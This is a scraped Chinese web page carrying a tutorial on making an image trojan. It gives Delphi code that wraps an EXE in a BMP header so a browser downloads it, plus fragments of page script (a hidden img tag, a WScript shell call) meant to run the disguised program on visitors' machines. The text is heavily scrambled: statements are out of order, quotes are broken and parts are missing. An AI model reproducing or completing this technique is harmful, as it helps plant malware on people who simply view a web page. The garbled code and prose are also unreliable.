制作圖片木馬教程(如何制作圖片木馬)-wenkub
2022-08-19 00:46:03 本頁面
【正文】 ffer,256,0)。 row := len div col div 3。 fs:=。39。 buffer: array[0..255]of char。 看上去好象很復(fù)雜,下面我們一步一步來: 1) EXE變BMP的方法 大家自己去查查BMP文件資料就會知道，BMP文件的文件頭有54個字節(jié)，簡單來說里面包含了BMP文件的長寬、位數(shù)、文件大小、數(shù)據(jù)區(qū)長度。何謂BMP網(wǎng)頁木馬？它和過去早就用臭了的MIME頭漏洞的木馬不同，MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件，放到網(wǎng)頁上利用IE和OE的編碼漏洞實現(xiàn)自動下載和執(zhí)行。我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦)，這樣就可以欺騙IE下載該BMP文件，開始我們用JPG文件做過試驗，發(fā)現(xiàn)如果文件頭不正確的話，是不會下載的，轉(zhuǎn)換代碼如下： program exe2bmp。 fd: WIN32_FIND_DATA。) and(ParamStr(2)39。 col := 4。 if rowcol then begin col:=col+4。 {一下為BMP文件頭數(shù)據(jù)} Buffer[0]:=39。 PDWORD(buffer[18])^:=col。 PDWORD(buffer[10])^:=54。 {寫入文件} hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0)。 WriteFile(hw,buffer,col,col,0)。 CloseHandle(hw)。以上代碼可以在DELPHI4,5,6中編譯 ,輸入 exe2bmp 回車就可以把第二個參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式. 接著就是把這個BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花, img srd= higth=0 width=0以下是放在網(wǎng)頁上的腳本 (39。 (39。 wsh=()。 ()。\\39。wscript 39。
規(guī)章制度相關(guān)推薦
鄂ICP備17016276號-1